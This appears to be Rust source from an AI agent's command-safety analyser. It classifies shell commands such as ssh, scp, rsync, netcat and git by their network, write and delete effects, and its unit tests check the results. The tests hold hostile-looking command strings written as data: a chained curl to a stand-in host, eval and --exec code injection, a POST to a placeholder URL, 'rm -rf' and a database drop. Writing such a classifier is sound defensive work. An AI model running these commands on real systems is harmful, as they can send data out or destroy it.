3787 ("pretty", OptionValue::Ignore),
3788 ("style", OptionValue::Ignore),
3789 ("auth", OptionValue::Ignore),
3790 ("auth-type", OptionValue::Ignore),
3791 ("timeout", OptionValue::Ignore),
3792 ("max-redirects", OptionValue::Ignore),
3793 ("verify", OptionValue::Ignore),
3794 ("cert", OptionValue::Ignore),
3795 ("cert-key", OptionValue::Ignore),
3796 ("output", OptionValue::Write),
3797 ],
3798 long_equals: true,
3799 exact: &[],
3800 stop_at_positional: false,
3801};
3802
3803fn httpie(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3807 let Some(parsed) = parse_options(&HTTPIE, args) else {
3808 out.opaque();
3809 return;
3810 };
3811 apply_values(&parsed, cwd, out);
3812 let mut positionals = parsed.positionals.iter();
3813 let mut url = positionals.next();
3814 if url.is_some_and(|word| !word.is_empty() && word.chars().all(|c| c.is_ascii_uppercase())) {
3815 url = positionals.next();
3816 }
3817 let Some(url) = url else {
3818 out.opaque();
3819 return;
3820 };
3821 out.egress(url_effect(url));
3822}
3823
3824const NETCAT: OptionSpec = OptionSpec {
3825 flags: "vznu46CDdN",
3826 valued: &[
3827 ('w', OptionValue::Ignore),
3828 ('p', OptionValue::Ignore),
3829 ('s', OptionValue::Ignore),
3830 ('q', OptionValue::Ignore),
3831 ('i', OptionValue::Ignore),
3832 ],
3833 long_flags: &[],
3834 long_valued: &[],
3835 long_equals: false,
3836 exact: &[],
3837 stop_at_positional: false,
3838};
3839
3840fn netcat(args: &[String], out: &mut ShellAnalysis) {
3842 let target = parse_options(&NETCAT, args).and_then(|parsed| match &parsed.positionals[..] {
3843 [host, port] => egress_effect("", host, Some(port.parse::<u16>().ok()?)),
3844 _ => None,
3845 });
3846 out.egress(target);
3847}
3848
3849const SSH: OptionSpec = OptionSpec {
3850 flags: "46AaCfGgKkMNnqsTtVvXxYy",
3851 valued: &[
3852 ('p', OptionValue::Port),
3853 ('i', OptionValue::Ignore),
3854 ('l', OptionValue::Ignore),
3855 ('L', OptionValue::Ignore),
3856 ('R', OptionValue::Ignore),
3857 ('D', OptionValue::Ignore),
3858 ('c', OptionValue::Ignore),
3859 ('m', OptionValue::Ignore),
3860 ('b', OptionValue::Ignore),
3861 ('e', OptionValue::Ignore),
3862 ('E', OptionValue::Write),
3863 ],
3864 long_flags: &[],
3865 long_valued: &[],
3866 long_equals: false,
3867 exact: &[],
3868 stop_at_positional: true,
3869};
3870
3871fn port_option(parsed: &ParsedOptions) -> Result<Option<u16>, ()> {
3872 match parsed
3873 .values
3874 .iter()
3875 .rev()
3876 .find(|(role, _)| *role == OptionValue::Port)
3877 {
3878 Some((_, port)) => port.parse::<u16>().map(Some).map_err(|_| ()),
3879 None => Ok(None),
3880 }
3881}
3882
3883fn ssh_host_effect(destination: &str, port: Option<u16>) -> Option<EffectKey> {
3885 if destination.matches('@').count() > 1 {
3886 return None;
3887 }
3888 let host = destination
3889 .rsplit_once('@')
3890 .map_or(destination, |(_, host)| host);
3891 egress_effect("ssh", host, port)
3892}
3893
3894fn ssh(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3897 let Some(parsed) = parse_options(&SSH, args) else {
3898 out.opaque();
3899 return;
3900 };
3901 apply_values(&parsed, cwd, out);
3902 let Ok(port) = port_option(&parsed) else {
3903 out.opaque();
3904 return;
3905 };
3906 let key = parsed.positionals.first().and_then(|destination| {
3907 if destination.contains("://") {
3908 let url = strict_url(destination)?;
3909 if url.scheme() != "ssh" {
3910 return None;
3911 }
3912 egress_effect("ssh", url.host_str()?, port.or(url.port()))
3913 } else {
3914 ssh_host_effect(destination, port)
3915 }
3916 });
3917 out.egress(key);
3918}
3919
3920fn remote_operand(operand: &str, scheme: &str, port: Option<u16>) -> Result<Option<EffectKey>, ()> {
3924 if operand.contains("://") {
3925 return url_effect(operand).map(Some).ok_or(());
3926 }
3927 if operand.starts_with(['/', '.', '~']) {
3928 return Ok(None);
3929 }
3930 let (user_host, rest) = match operand.find('[') {
3931 Some(open) => {
3933 let close = operand.find(']').ok_or(())?;
3934 if close < open || operand.as_bytes().get(close + 1) != Some(&b':') {
3935 return Err(());
3936 }
3937 (&operand[..=close], &operand[close + 1..])
3938 }
3939 None => match operand.split_once(':') {
3940 Some((before, _)) if !before.contains('/') => (before, &operand[before.len()..]),
3941 _ => return Ok(None),
3942 },
3943 };
3944 if user_host.is_empty() {
3945 return Err(());
3946 }
3947 if rest.starts_with("::") && scheme == "rsync" {
3949 let host = user_host
3950 .rsplit_once('@')
3951 .map_or(user_host, |(_, host)| host);
3952 return egress_effect("rsync", host, port.or(Some(873)))
3953 .map(Some)
3954 .ok_or(());
3955 }
3956 ssh_host_effect(user_host, port).map(Some).ok_or(())
3957}
3958
3959fn transfer(
3963 positionals: &[String],
3964 scheme: &str,
3965 port: Option<u16>,
3966 cwd: Option<&str>,
3967 out: &mut ShellAnalysis,
3968) -> Option<bool> {
3969 let Some((destination, sources)) = positionals.split_last().filter(|(_, s)| !s.is_empty())
3970 else {
3971 out.opaque();
3972 return None;
3973 };
3974 for source in sources {
3975 match remote_operand(source, scheme, port) {
3976 Ok(Some(key)) => out.add(key),
3977 Ok(None) => {}
3978 Err(()) => out.opaque(),
3979 }
3980 }
3981 match remote_operand(destination, scheme, port) {
3982 Ok(Some(key)) => {
3983 out.add(key);
3984 Some(false)
3985 }
3986 Ok(None) => {
3987 out.path(EffectClass::Write, destination, cwd);
3988 Some(true)
3989 }
3990 Err(()) => {
3991 out.opaque();
3992 None
3993 }
3994 }
3995}
3996
3997const SCP: OptionSpec = OptionSpec {
3998 flags: "346BCpqrTvA",
3999 valued: &[
4000 ('P', OptionValue::Port),
4001 ('i', OptionValue::Ignore),
4002 ('l', OptionValue::Ignore),
4003 ('c', OptionValue::Ignore),
4004 ],
4005 long_flags: &[],
4006 long_valued: &[],
4007 long_equals: false,
4008 exact: &[],
4009 stop_at_positional: false,
4010};
4011
4012fn scp(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4013 let Some(parsed) = parse_options(&SCP, args) else {
4014 out.opaque();
4015 return;
4016 };
4017 let Ok(port) = port_option(&parsed) else {
4018 out.opaque();
4019 return;
4020 };
4021 transfer(&parsed.positionals, "ssh", port, cwd, out);
4022}
4023
4024const RSYNC: OptionSpec = OptionSpec {
4025 flags: "avzrlptgoDhPnciuqHAXSWxRIKLkmyO",
4026 valued: &[('B', OptionValue::Ignore)],
4027 long_flags: &[
4028 "archive",
4029 "verbose",
4030 "compress",
4031 "recursive",
4032 "links",
4033 "perms",
4034 "times",
4035 "group",
4036 "owner",
4037 "devices",
4038 "specials",
4039 "human-readable",
4040 "progress",
4041 "partial",
4042 "dry-run",
4043 "checksum",
4044 "update",
4045 "quiet",
4046 "hard-links",
4047 "acls",
4048 "xattrs",
4049 "sparse",
4050 "whole-file",
4051 "one-file-system",
4052 "relative",
4053 "ignore-existing",
4054 "inplace",
4055 "append",
4056 "stats",
4057 "itemize-changes",
4058 "delete",
4059 "delete-before",
4060 "delete-during",
4061 "delete-after",
4062 "delete-delay",
4063 "delete-excluded",
4064 "remove-source-files",
4065 "prune-empty-dirs",
4066 "numeric-ids",
4067 "safe-links",
4068 "copy-links",
4069 "keep-dirlinks",
4070 "no-motd",
4071 "mkpath",
4072 ],
4073 long_valued: &[
4074 ("exclude", OptionValue::Ignore),
4075 ("include", OptionValue::Ignore),
4076 ("exclude-from", OptionValue::Ignore),
4077 ("include-from", OptionValue::Ignore),
4078 ("bwlimit", OptionValue::Ignore),
4079 ("timeout", OptionValue::Ignore),
4080 ("contimeout", OptionValue::Ignore),
4081 ("chmod", OptionValue::Ignore),
4082 ("max-size", OptionValue::Ignore),
4083 ("min-size", OptionValue::Ignore),
4084 ("password-file", OptionValue::Ignore),
4085 ],
4086 long_equals: true,
4087 exact: &[],
4088 stop_at_positional: false,
4089};
4090
4091fn rsync(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4092 let Some(parsed) = parse_options(&RSYNC, args) else {
4093 out.opaque();
4094 return;
4095 };
4096 let port = None;
4098 let Some(local_destination) = transfer(&parsed.positionals, "rsync", port, cwd, out) else {
4099 return;
4100 };
4101 let flag = |name: &str| parsed.long_flags.iter().any(|flag| flag.starts_with(name));
4102 let Some((destination, sources)) = parsed.positionals.split_last() else {
4103 return;
4104 };
4105 if flag("delete") && local_destination {
4108 out.path(EffectClass::Delete, destination, cwd);
4109 }
4110 if flag("remove-source-files") {
4112 for source in sources {
4113 if matches!(remote_operand(source, "rsync", port), Ok(None)) {
4114 out.path(EffectClass::Delete, source, cwd);
4115 }
4116 }
4117 }
4118}
4119
4120const COPY: OptionSpec = OptionSpec {
4121 flags: "rRfinpavLPHlsuxXTcdD",
4122 valued: &[('t', OptionValue::TargetDir)],
4123 long_flags: &[
4124 "archive",
4125 "recursive",
4126 "force",
4127 "interactive",
4128 "no-clobber",
4129 "verbose",
4130 "update",
4131 "parents",
4132 "no-target-directory",
4133 "dereference",
4134 "no-dereference",
4135 "one-file-system",
4136 "link",
4137 "symbolic-link",
4138 "preserve",
4139 "reflink",
4140 "strip-trailing-slashes",
4141 ],
4142 long_valued: &[
4143 ("target-directory", OptionValue::TargetDir),
4144 ("preserve", OptionValue::Ignore),
4145 ("no-preserve", OptionValue::Ignore),
4146 ("sparse", OptionValue::Ignore),
4147 ("reflink", OptionValue::Ignore),
4148 ("update", OptionValue::Ignore),
4149 ],
4150 long_equals: true,
4151 exact: &[],
4152 stop_at_positional: false,
4153};
4154
4155fn copied(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4158 let Some(parsed) = parse_options(©, args) else {
4159 out.unresolved();
4160 return;
4161 };
4162 let target_dir = parsed
4163 .values
4164 .iter()
4165 .rev()
4166 .find(|(role, _)| *role == OptionValue::TargetDir)
4167 .map(|(_, dir)| dir.clone());
4168 let (destination, sources) = match &target_dir {
4169 Some(dir) => (dir.as_str(), &parsed.positionals[..]),
4170 None => match parsed.positionals.split_last() {
4171 Some((destination, sources)) if !sources.is_empty() => (destination.as_str(), sources),
4172 _ => {
4173 out.unresolved();
4174 return;
4175 }
4176 },
4177 };
4178 out.path(EffectClass::Write, destination, cwd);
4179 if program == "mv" {
4180 for source in sources {
4181 out.path(EffectClass::Delete, source, cwd);
4182 }
4183 }
4184}
4185
4186const CREATE: OptionSpec = OptionSpec {
4187 flags: "aipcmhf",
4188 valued: &[
4189 ('t', OptionValue::Ignore),
4190 ('d', OptionValue::Ignore),
4191 ('r', OptionValue::Ignore),
4192 ],
4193 long_flags: &[
4194 "append",
4195 "ignore-interrupts",
4196 "no-create",
4197 "no-dereference",
4198 "parents",
4199 "verbose",
4200 ],
4201 long_valued: &[
4202 ("output-error", OptionValue::Ignore),
4203 ("date", OptionValue::Ignore),
4204 ("reference", OptionValue::Ignore),
4205 ("time", OptionValue::Ignore),
4206 ("mode", OptionValue::Ignore),
4207 ],
4208 long_equals: true,
4209 exact: &[],
4210 stop_at_positional: false,
4211};
4212
4213fn created(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4215 let spec = if program == "mkdir" {
4217 OptionSpec {
4218 flags: "pv",
4219 valued: &[('m', OptionValue::Ignore)],
4220 ..CREATE
4221 }
4222 } else {
4223 CREATE
4224 };
4225 match parse_options(&spec, args) {
4226 Some(parsed) => {
4227 for operand in &parsed.positionals {
4228 if operand != "-" {
4229 out.path(EffectClass::Write, operand, cwd);
4230 }
4231 }
4232 }
4233 None => out.unresolved(),
4234 }
4235}
4236
4237const GIT_CLONE: OptionSpec = OptionSpec {
4241 flags: "qvnls",
4242 valued: &[
4243 ('b', OptionValue::Ignore),
4244 ('o', OptionValue::Ignore),
4245 ('j', OptionValue::Ignore),
4246 ('u', OptionValue::Ignore),
4247 ('c', OptionValue::Ignore),
4248 ],
4249 long_flags: &[
4250 "quiet",
4251 "verbose",
4252 "progress",
4253 "no-checkout",
4254 "bare",
4255 "mirror",
4256 "single-branch",
4257 "no-single-branch",
4258 "no-tags",
4259 "shallow-submodules",
4260 "no-hardlinks",
4261 "local",
4262 "shared",
4263 "sparse",
4264 "recurse-submodules",
4265 ],
4266 long_valued: &[
4267 ("branch", OptionValue::Ignore),
4268 ("origin", OptionValue::Ignore),
4269 ("depth", OptionValue::Ignore),
4270 ("shallow-since", OptionValue::Ignore),
4271 ("shallow-exclude", OptionValue::Ignore),
4272 ("filter", OptionValue::Ignore),
4273 ("jobs", OptionValue::Ignore),
4274 ("upload-pack", OptionValue::Ignore),
4275 ("template", OptionValue::Ignore),
4276 ("separate-git-dir", OptionValue::Ignore),
4277 ("reference", OptionValue::Ignore),
4278 ("config", OptionValue::Ignore),
4279 ("recurse-submodules", OptionValue::Ignore),
4280 ],
4281 long_equals: true,
4282 exact: &[],
4283 stop_at_positional: false,
4284};
4285
4286const GIT_FETCH: OptionSpec = OptionSpec {
4287 flags: "qvafkmnpPtu",
4288 valued: &[('j', OptionValue::Ignore), ('o', OptionValue::Ignore)],
4289 long_flags: &[
4290 "quiet",
4291 "verbose",
4292 "progress",
4293 "force",
4294 "tags",
4295 "no-tags",
4296 "prune",
4297 "dry-run",
4298 "unshallow",
4299 "update-head-ok",
4300 "append",
4301 ],
4302 long_valued: &[
4303 ("depth", OptionValue::Ignore),
4304 ("deepen", OptionValue::Ignore),
4305 ("shallow-since", OptionValue::Ignore),
4306 ("shallow-exclude", OptionValue::Ignore),
4307 ("jobs", OptionValue::Ignore),
4308 ("upload-pack", OptionValue::Ignore),
4309 ("refmap", OptionValue::Ignore),
4310 ("server-option", OptionValue::Ignore),
4311 ("recurse-submodules", OptionValue::Ignore),
4312 ],
4313 long_equals: true,
4314 exact: &[],
4315 stop_at_positional: false,
4316};
4317
4318const GIT_PULL: OptionSpec = OptionSpec {
4319 flags: "qvnfkr",
4320 valued: &[
4321 ('s', OptionValue::Ignore),
4322 ('X', OptionValue::Ignore),
4323 ('j', OptionValue::Ignore),
4324 ('o', OptionValue::Ignore),
4325 ],
4326 long_flags: &[
4327 "quiet",
4328 "verbose",
4329 "progress",
4330 "force",
4331 "tags",
4332 "no-tags",
4333 "prune",
4334 "rebase",
4335 "no-rebase",
4336 "ff-only",
4337 "ff",
4338 "no-ff",
4339 "unshallow",
4340 "autostash",
4341 "no-autostash",
4342 ],
4343 long_valued: &[
4344 ("strategy", OptionValue::Ignore),
4345 ("strategy-option", OptionValue::Ignore),
4346 ("depth", OptionValue::Ignore),
4347 ("jobs", OptionValue::Ignore),
4348 ("rebase", OptionValue::Ignore),
4349 ("upload-pack", OptionValue::Ignore),
4350 ("recurse-submodules", OptionValue::Ignore),
4351 ],
4352 long_equals: true,
4353 exact: &[],
4354 stop_at_positional: false,
4355};
4356
4357const GIT_PUSH: OptionSpec = OptionSpec {
4358 flags: "qvfnud",
4359 valued: &[('o', OptionValue::Ignore)],
4360 long_flags: &[
4361 "quiet",
4362 "verbose",
4363 "progress",
4364 "force",
4365 "tags",
4366 "all",
4367 "mirror",
4368 "dry-run",
4369 "atomic",
4370 "follow-tags",
4371 "set-upstream",
4372 "delete",
4373 "prune",
4374 "force-with-lease",
4375 "no-verify",
4376 ],
4377 long_valued: &[
4378 ("push-option", OptionValue::Ignore),
4379 ("force-with-lease", OptionValue::Ignore),
4380 ("receive-pack", OptionValue::Ignore),
4381 ("exec", OptionValue::Ignore),
4382 ("repo", OptionValue::Ignore),
4383 ("recurse-submodules", OptionValue::Ignore),
4384 ],
4385 long_equals: true,
4386 exact: &[],
4387 stop_at_positional: false,
4388};
4389
4390fn git_remote(remote: &str) -> Result<Option<EffectKey>, ()> {
4394 if remote.contains("::") {
4396 return Err(());
4397 }
4398 if let Some(scheme_end) = remote.find("://") {
4399 return match &remote[..scheme_end] {
4400 "file" => Ok(None),
4401 "ext" => Err(()),
4402 _ => url_effect(remote).map(Some).ok_or(()),
4403 };
4404 }
4405 if remote.starts_with(['/', '.', '~']) {
4406 return Ok(None);
4407 }
4408 match remote.split_once(':') {
4409 Some((before, _)) if !before.contains('/') && !before.is_empty() => {
4410 ssh_host_effect(before, None).map(Some).ok_or(())
4411 }
4412 _ => Err(()),
4413 }
4414}
4415
4416fn git(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4422 let Some(subcommand) = args.first().filter(|arg| !arg.starts_with('-')) else {
4423 out.opaque();
4424 return;
4425 };
4426 let rest = &args[1..];
4427 out.opaque();
4429 if subcommand == "ls-remote" {
4430 if let [remote] = rest
4431 && let Some(key) = url_effect(remote)
4432 {
4433 out.add(key);
4434 }
4435 return;
4436 }
4437 let spec = match subcommand.as_str() {
4438 "clone" => &GIT_CLONE,
4439 "fetch" => &GIT_FETCH,
4440 "pull" => &GIT_PULL,
4441 "push" => &GIT_PUSH,
4442 _ => {
4443 out.opaque();
4444 return;
4445 }
4446 };
4447 out.opaque();
4448 let Some(parsed) = parse_options(spec, rest) else {
4449 return;
4450 };
4451 let Some(remote) = parsed.positionals.first() else {
4452 return;
4453 };
4454 if let Ok(Some(key)) = git_remote(remote) {
4455 out.add(key);
4456 }
4457 if subcommand == "clone"
4458 && let Some(directory) = parsed.positionals.get(1)
4459 {
4460 out.path(EffectClass::Write, directory, cwd);
4461 }
4462}
4463
4464#[cfg(test)]
4465mod remote_inner_tests {
4466 use super::{recognizably_changes, remote_inner_only_reads};
4467
4468 #[test]
4471 fn only_a_recognized_change_counts() {
4472 for change in [
4473 "docker exec app-1 bash -lc 'printf x > /app/move.txt'",
4474 "docker exec app-1 chmod +x /app/run.sh",
4475 "ssh host 'sudo apt-get install -y nginx'",
4476 "sed -i 's/a/b/' notes.txt",
4477 "mkdir -p out && cp a.txt out/",
4478 "git commit -m synthetic",
4479 ] {
4480 assert!(recognizably_changes(change), "{change}");
4481 }
4482 for not_recognized in [
4483 "docker exec app-1 bash -lc 'ls /app; cat /app/a'",
4484 "docker exec app-1 python3 /app/run.py",
4485 "./deploy.sh",
4486 "ls -la",
4487 "sed 's/a/b/' notes.txt",
4488 ] {
4489 assert!(!recognizably_changes(not_recognized), "{not_recognized}");
4490 }
4491 }
4492
4493 #[test]
4498 fn a_heredoc_write_inside_a_remote_exec_is_a_change() {
4499 for change in [
4500 "docker exec app-1 bash -lc 'cat > /app/proc.py <<\"EOF\"\nimport csv\nprint(1)\nEOF'",
4501 "docker exec app-1 bash -lc 'cat > /app/proc.py <<'\"'\"'EOF'\"'\"'\nimport csv\nEOF\ncd /app && python3 proc.py'",
4502 "docker exec app-1 bash -lc 'cat > /app/proc.py <<EOF\nx = {\"a\": 1}\nEOF'",
4503 "docker exec app-1 bash -lc 'cd /app && cat <<EOF > out.txt\nhello\nEOF'",
4504 ] {
4505 assert!(recognizably_changes(change), "{change}");
4506 assert_eq!(remote_inner_only_reads(change), Some(false), "{change}");
4507 }
4508 }
4509
4510 #[test]
4512 fn the_command_inside_a_remote_exec_is_judged() {
4513 assert_eq!(
4514 remote_inner_only_reads("docker exec app-1 bash -lc 'ls -la /app; cat /app/a.txt'"),
4515 Some(true)
4516 );
4517 assert_eq!(
4518 remote_inner_only_reads(
4519 "docker exec -w /app app-1 bash -lc 'printf x > /app/move.txt'"
4520 ),
4521 Some(false)
4522 );
4523 assert_eq!(
4524 remote_inner_only_reads("docker exec -e K=v app-1 rm -f /app/old.log"),
4525 Some(false)
4526 );
4527 assert_eq!(
4528 remote_inner_only_reads("ssh -p 2222 host cat /etc/hostname"),
4529 Some(true)
4530 );
4531 assert_eq!(
4532 remote_inner_only_reads("ssh host 'systemctl restart nginx'"),
4533 Some(false)
4534 );
4535 assert_eq!(
4536 remote_inner_only_reads("kubectl exec pod-1 -- sh -c 'ls /data'"),
4537 Some(true)
4538 );
4539 assert_eq!(
4540 remote_inner_only_reads("docker compose exec -T web sh -c 'cat /srv/a'"),
4541 Some(true)
4542 );
4543 assert_eq!(
4544 remote_inner_only_reads("lxc exec box -- touch /tmp/a"),
4545 Some(false)
4546 );
4547 assert_eq!(
4548 remote_inner_only_reads("vagrant ssh -c 'ls /vagrant'"),
4549 Some(true)
4550 );
4551 assert_eq!(
4552 remote_inner_only_reads("gcloud compute ssh vm-1 --command='rm -f /tmp/a'"),
4553 Some(false)
4554 );
4555 assert_eq!(remote_inner_only_reads("ls /app"), None);
4557 assert_eq!(remote_inner_only_reads("docker ps"), None);
4558 assert_eq!(
4559 remote_inner_only_reads("docker exec app-1 ls && rm -rf /tmp/x"),
4560 None
4561 );
4562 }
4563}
4564
4565#[cfg(test)]
4566mod tests {
4567 #[test]
4571 fn a_ddev_project_command_acts_on_its_own_project() {
4572 for own in [
4573 "ddev drush watchdog:show --count=8",
4574 "ddev drush cr",
4575 "ddev wp option update blogname 'Claude Company' --path=web",
4576 "ddev wp user update 1 --display_name=Admin",
4577 ] {
4578 assert!(super::acts_on_its_ddev_project(own), "{own}");
4579 }
4580 for other in [
4581 "ddev drush php:eval 'file_get_contents(\"https://x.invalid\");'",
4582 "ddev wp eval 'echo 1;'",
4583 "ddev wp plugin install https://x.invalid/p.zip",
4584 "ddev drush sql:dump > /tmp/dump.sql",
4585 "ddev exec curl https://x.invalid",
4586 "ddev drush --eval=1 status",
4587 "cd /elsewhere && ddev drush cr",
4588 "ddev drush cr; curl https://x.invalid",
4589 ] {
4590 assert!(!super::acts_on_its_ddev_project(other), "{other}");
4591 }
4592 }
4593
4594 use super::*;
4595
4596 #[test]
4598 fn a_command_is_labelled_by_its_program() {
4599 assert_eq!(
4600 program_label("for i in $(seq 1 200); do echo $i; sleep 2; done; echo done"),
4601 "a shell loop"
4602 );
4603 assert_eq!(
4604 program_label("while kill -0 123; do sleep 5; done"),
4605 "a shell loop"
4606 );
4607 assert_eq!(program_label("cd /srv/demo && ddev start"), "ddev");
4608 assert_eq!(program_label("ddev drush site:install -y"), "ddev");
4609 assert_eq!(
4610 program_label("FOO=1 nohup /usr/bin/python3 serve.py"),
4611 "python3"
4612 );
4613 assert_eq!(program_label(""), "a command");
4614 }
4615
4616 const INSPECT_SITES: &str = "cd /Users/alice/projects && for d in claude-drupal \
4626 claude-wordpress; do echo \"== $d\"; ls -la $d | head -30; ls $d/.ddev 2>&1 | head; \
4627 (cd $d && ddev describe 2>&1 | head -25); done";
4628
4629 #[test]
4630 fn a_read_only_loop_with_a_subshell_is_local_work() {
4631 let effects = command_effects(INSPECT_SITES);
4632 assert!(effects.local_work_only, "{INSPECT_SITES}");
4633 assert!(!effects.deletes);
4634 assert!(reaches_only_this_computer(INSPECT_SITES));
4635 assert!(!fetches_network(INSPECT_SITES));
4636 for read in [
4638 "for d in a b; do echo \"== $d\"; ls -la $d | head -30; done",
4639 "(ls -la /tmp && pwd) 2>&1 | head",
4640 "for d in a b; do for f in x y; do cat ${d}/$f; done; done",
4641 "for f in *.log; do tail -5 $f; done",
4642 ] {
4643 assert!(command_effects(read).observation_only, "{read}");
4644 }
4645
4646 let deleting = INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d");
4647 let effects = command_effects(&deleting);
4648 assert!(
4649 effects.deletes && effects.delete_targets.is_none(),
4650 "{deleting}"
4651 );
4652 assert!(!effects.observation_only);
4653 assert!(!reaches_only_this_computer(&deleting));
4654 let writing = INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt");
4655 assert!(!command_effects(&writing).observation_only, "{writing}");
4657
4658 for not_understood in [
4659 "for x in \"-o out\"; do sort $x f; done",
4661 "for x in $FLAGS; do sort $x f; done",
4662 "for x in -o; do sort $x out f; done",
4663 "for x in -delete; do find . $x; done",
4664 "for p in ls rm; do $p x; done",
4666 "for p in rm; do (cd /tmp && $p -rf x); done",
4667 "for p in ls; do $p x; done; rm y",
4668 "for d in a; do ls $d",
4669 "for d in a; ls $d; done",
4670 "for d; do ls $d; done",
4671 "for ((i=0;i<3;i++)); do ls; done",
4672 "while true; do ls; done",
4673 "if true; then ls; fi",
4674 "ls (cd x)",
4675 "(ls) ls",
4676 "(ls",
4677 "ls)",
4678 "f() (ls); f",
4679 "(echo $(rm x))",
4680 ] {
4681 let effects = command_effects(not_understood);
4682 assert!(!effects.observation_only, "{not_understood}");
4683 assert!(!effects.local_work_only, "{not_understood}");
4684 }
4685 }
4686
4687 #[test]
4690 fn the_folders_a_read_only_command_looks_inside_are_named() {
4691 assert_eq!(
4692 looked_inside(INSPECT_SITES),
4693 ["claude-drupal", "claude-wordpress"]
4694 );
4695 assert_eq!(
4696 looked_inside("ls -la /srv/www/shop/ && du -sh logs/2026"),
4697 ["shop", "logs"]
4698 );
4699 assert_eq!(
4700 looked_inside("tree -L 2 src && find app -name '*.php'"),
4701 ["src", "app"]
4702 );
4703 assert!(looked_inside("ls ~ . .. $HOME *.txt").is_empty());
4704 assert!(looked_inside("cat notes.txt").is_empty());
4705 for not_only_looking in [
4706 INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d"),
4707 INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt"),
4708 "ls site && curl -s http://localhost:5173/".to_string(),
4709 "ls site && cargo build".to_string(),
4710 ] {
4711 assert!(
4712 looked_inside(¬_only_looking).is_empty(),
4713 "{not_only_looking}"
4714 );
4715 }
4716 }
4717
4718 #[test]
4719 fn a_command_card_carries_its_typed_effects() {
4720 use aidaemon_core::{CardAction, HighImpact};
4721 let card = command_card(INSPECT_SITES, Some("check the site folders".to_string()));
4722 assert_eq!(card.impact, None);
4723 assert!(matches!(
4724 &card.action,
4725 CardAction::Command { looks_inside, title: Some(_), line }
4726 if looks_inside.len() == 2 && line == INSPECT_SITES
4727 ));
4728 assert_eq!(
4729 command_card("rm -rf build dist", None).impact,
4730 Some(HighImpact::Deletes {
4731 targets: vec!["build".to_string(), "dist".to_string()]
4732 })
4733 );
4734 assert_eq!(
4735 command_card("curl -X POST https://example.invalid/hook", None).impact,
4736 Some(HighImpact::Sends)
4737 );
4738 }
4739
4740 #[test]
4743 fn a_local_site_check_only_reads_this_computer() {
4744 for read in [
4745 "curl -s -o /dev/null -w '%{http_code}' https://shop-synthetic.localhost/",
4746 "curl -sI https://127.0.0.1:8443/ | head -5",
4747 "cd /tmp/site && ddev describe && curl -s http://localhost:5173/ | grep -c title",
4748 INSPECT_SITES,
4749 ] {
4750 assert!(only_reads_this_computer(read), "{read}");
4751 }
4752 for not_a_read in [
4753 "curl -s -o page.html https://shop-synthetic.localhost/",
4754 "curl -sSo page.html http://localhost:5173/",
4755 "curl -s -c jar http://localhost:5173/",
4756 "curl -s https://example.invalid/",
4757 "curl -s -X POST http://localhost:5173/x",
4758 "curl -s http://localhost:5173/ > page.html",
4759 "wget http://localhost:5173/",
4760 "ddev start",
4761 "cargo build",
4762 ] {
4763 assert!(!only_reads_this_computer(not_a_read), "{not_a_read}");
4764 }
4765 }
4766
4767 #[test]
4770 fn build_and_test_runners_run_project_code() {
4771 for runner in [
4772 "make",
4773 "make -C sub all",
4774 "cargo test -q",
4775 "cargo +nightly build",
4776 "cd /srv/app && npm run build",
4777 "pytest tests/test_x.py",
4778 "python3 scripts/gen.py",
4779 "go test ./...",
4780 "env FOO=1 make",
4781 ] {
4782 assert!(command_effects(runner).runs_project_code, "{runner}");
4783 }
4784 for plain in [
4785 "git status",
4786 "cp a b",
4787 "mkdir -p out",
4788 "cargo fmt",
4789 "cargo tree",
4790 "ls -la",
4791 "npm view left-pad",
4792 ] {
4793 assert!(!command_effects(plain).runs_project_code, "{plain}");
4794 }
4795 }
4796
4797 #[test]
4798 fn ddev_status_queries_are_local_work() {
4799 for query in [
4800 "ddev describe",
4801 "cd /srv/demo && ls -la ADMIN_PASSWORD.txt && ddev wp core is-installed; \
4802 echo \"is-installed exit: $?\"; ddev wp option get siteurl",
4803 "ddev wp core version --allow-root",
4804 "ddev drush status --field=bootstrap",
4805 "ddev wp plugin list --format=json",
4806 ] {
4807 let effects = command_effects(query);
4808 assert!(effects.local_work_only, "{query}");
4809 assert!(!fetches_network(query), "{query}");
4810 }
4811 for other in [
4812 "ddev start",
4813 "ddev wp plugin install akismet",
4814 "ddev wp core download",
4815 "ddev wp --exec='echo 1;' option get siteurl",
4816 "ddev wp option get siteurl --require=/tmp/x.php",
4817 "ddev exec curl https://example.invalid",
4818 "ddev ssh",
4819 "ddev drush sql:drop",
4820 "ddev",
4821 ] {
4822 assert!(!command_effects(other).local_work_only, "{other}");
4823 }
4824 }
4825
4826 #[test]
4829 fn path_effects_read_one_argument_one_way() {
4830 for raw in ["/tmp/a]b", "/tmp/a[b", "~someone/x", "rel/x"] {
4831 assert!(
4832 path_effect(EffectClass::Write, raw, None).is_none(),
4833 "{raw}"
4834 );
4835 assert!(
4836 shell_path_effects(EffectClass::Write, raw, None).is_none(),
4837 "{raw}"
4838 );
4839 }
4840 assert_eq!(
4841 structural_absolute_path("notes.txt", Some("/srv/app/")),
4842 Some("/srv/app/notes.txt".to_string())
4843 );
4844 }
4845
4846 #[test]
4849 fn xargs_path_operands_are_undeterminable() {
4850 assert_eq!(path_operands("xargs cat < list.txt"), None);
4851 assert_eq!(path_operands("cat list.txt | xargs cat"), None);
4852 }
4853
4854 #[test]
4855 fn local_work_and_delete_targets_are_typed_by_structure() {
4856 for local in [
4857 "cargo test > out.log 2>&1",
4858 "cargo fmt\ncargo test",
4859 "cd /tmp/aidaemon-test/p && git status",
4860 "rm -f a.o b.o",
4861 ] {
4862 assert!(command_effects(local).local_work_only, "{local}");
4863 }
4864 for other in [
4865 "cargo test < input.txt",
4866 "git -C /tmp/aidaemon-test/p commit -m x",
4867 "npm install",
4868 "sh -c 'cargo test'",
4869 "cargo test # done",
4870 "tee out.log",
4871 "git rebase -x 'curl x' HEAD~1",
4873 "git rebase --exec='curl x' HEAD~1",
4874 "git rebase --exec 'curl x' HEAD~1",
